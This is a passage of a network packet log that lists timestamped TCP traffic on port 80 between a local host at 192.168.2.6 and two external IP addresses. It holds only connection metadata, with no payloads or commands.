Nov 21, 2024 14:11:25.754091024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.754254103 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.755075932 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.755182028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.755409002 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.756218910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.756349087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.756551027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.757440090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.757529020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.757698059 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.758487940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.758553028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.758919954 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.762042046 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.762100935 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.762113094 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.762113094 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.762254953 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.762418032 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.762480021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.762491941 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.762551069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.762551069 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.763170004 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.763235092 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.763247013 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.763297081 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.763372898 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.763983011 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.764034033 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.764045000 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.764067888 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.764117002 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.764151096 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.764801979 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.764857054 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.764868021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.764890909 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.764987946 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.765552044 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.765602112 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.765616894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.765631914 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.766216040 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.766377926 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.766424894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.766436100 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.766457081 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.766509056 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.767117023 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.767178059 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.767185926 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.767196894 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.767266035 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.767266035 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.767920017 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.767991066 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.768003941 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.768024921 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.768124104 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.768703938 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.768748999 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.768763065 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.768831968 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.768831968 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.769617081 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.769660950 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.769673109 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.769694090 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.769743919 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.770278931 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.770327091 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.770339966 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.770360947 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.770472050 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.771178007 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.771188974 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.771199942 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.771236897 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.771365881 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.771970034 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.772068977 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.772080898 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.772119999 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.772120953 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.772874117 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.772937059 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.772949934 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.773150921 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.773420095 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.773475885 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.773488998 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.773509979 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.773638964 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.774214983 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.774279118 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.774291992 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.774301052 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.774353027 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.774353981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.777322054 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777378082 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777400017 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777425051 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777442932 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777452946 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777462959 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777471066 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777481079 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777530909 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777576923 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.777584076 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.778167963 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.778225899 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.778238058 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.778259039 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.778307915 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.778307915 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.778948069 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.779206038 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.779247999 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.779258966 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.779284954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.779350996 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.780082941 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.780095100 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.780107021 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.780138016 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.780170918 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.780824900 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.780885935 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.780899048 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.780920029 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.781023979 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.781579018 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.781622887 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.781636953 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.781656981 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.781913996 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.782399893 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.782476902 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.782489061 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.782497883 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.782634974 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.783159018 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.783211946 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.783224106 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.783269882 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.783269882 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.783942938 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.783991098 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.784003019 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.784023046 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.784075022 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.784197092 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.784720898 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.784770012 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.784781933 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.784799099 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.784830093 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.784830093 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.785536051 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.785587072 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.785598993 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.785600901 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.785689116 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.786345959 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.786401987 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.786412954 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.786413908 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.786463022 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.786542892 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.787111998 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.787177086 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.787220001 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.787231922 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.787370920 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.787897110 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.787940025 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.787951946 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.787997007 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.788106918 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.788696051 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.788763046 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.788774967 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.788878918 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.789412022 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:25.790076971 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:25.891673088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.891748905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.891829967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.891901970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.891911030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.892051935 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.892956018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.893007994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.893522024 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.894081116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.894176006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.894309044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.894901037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.895133018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.895330906 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.896076918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.896358013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.896541119 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.897181988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.897299051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.897479057 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.898315907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.898454905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.898536921 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.899447918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.899558067 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.899645090 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.900578022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.900713921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.901072025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.901782990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.901803970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.901962042 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.902848959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.902968884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.903085947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.903999090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.904090881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.904246092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.905122995 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.905209064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.905483007 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.906251907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.906337976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.906476021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.907413006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.907553911 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.907706976 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.908600092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.908751011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.908994913 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.909710884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.909800053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.910855055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.910996914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.910996914 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.911211967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.912005901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.912116051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.912358999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.913135052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.913302898 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.913508892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.914299011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.914434910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.914738894 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.915631056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.915714979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.915919065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.916657925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.916800022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.916908026 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.917710066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.917814970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.917936087 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.918776989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.918908119 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.918989897 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.919909954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.920032024 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.920104027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.921056986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.921159029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.921294928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.922229052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.922302008 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.922488928 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.923306942 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.923443079 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.923506975 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.924460888 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.924559116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.924745083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.925596952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.925767899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.925851107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.926763058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.926865101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.927073956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.927884102 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.927952051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.928085089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.929013968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.929119110 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.929219961 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.930149078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.930286884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.930458069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.931294918 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.931480885 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.931849003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.932429075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.932506084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.932895899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.933585882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.933665037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.933742046 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.934689999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.934794903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.934935093 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.935827971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.935990095 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.936085939 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.937087059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.937160969 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.937287092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.938131094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.938232899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.938379049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.939229965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.939341068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.939877033 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.940363884 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.940489054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.940601110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.941659927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.941745996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.941884995 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.942645073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.942754030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.942950010 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.943826914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.943943977 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.944022894 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.944952965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.945029020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.945163012 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.946058035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.946170092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:25.946266890 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:25.947196007 CET	80	49903	34.116.198.130	192.168.2.6
